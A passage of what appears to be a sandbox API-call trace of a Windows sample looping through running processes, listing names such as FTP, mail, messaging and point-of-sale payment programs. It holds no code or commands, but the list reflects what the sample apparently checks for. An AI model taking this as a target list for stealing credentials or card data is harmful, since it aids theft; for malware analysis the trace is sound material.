dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0251.621] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0251.623] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0251.626] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0251.631] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0251.634] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0251.636] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0251.639] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0251.642] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0251.644] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0251.647] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0251.649] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0251.652] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0251.655] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0251.657] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0251.660] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0251.664] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0251.667] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0251.669] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0251.674] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0251.678] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0251.680] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0251.683] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0251.685] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0251.688] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0251.692] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0251.695] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0251.698] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0251.701] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0251.704] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0251.707] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0251.711] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0251.744] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0251.748] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0251.753] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0251.757] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0251.761] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0251.766] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0251.770] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0251.774] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0251.777] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0251.781] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0251.785] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0251.788] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0251.791] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0251.796] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0251.799] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0251.802] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0251.805] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0251.808] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0251.812] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0251.814] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0251.819] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0251.821] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0251.824] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0251.827] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0251.832] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0251.834] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0251.837] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0251.840] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0251.843] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0251.846] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0251.849] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0251.852] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0251.885] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0251.888] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0251.891] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0251.894] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.896] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0251.899] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0251.902] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0251.905] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0251.907] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0251.910] CloseHandle (hObject=0x2198) returned 1 [0251.910] Sleep (dwMilliseconds=0x64) [0251.912] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0251.928] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.930] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.933] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.935] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.938] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.940] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.943] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.945] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.948] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.950] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.953] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.958] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: 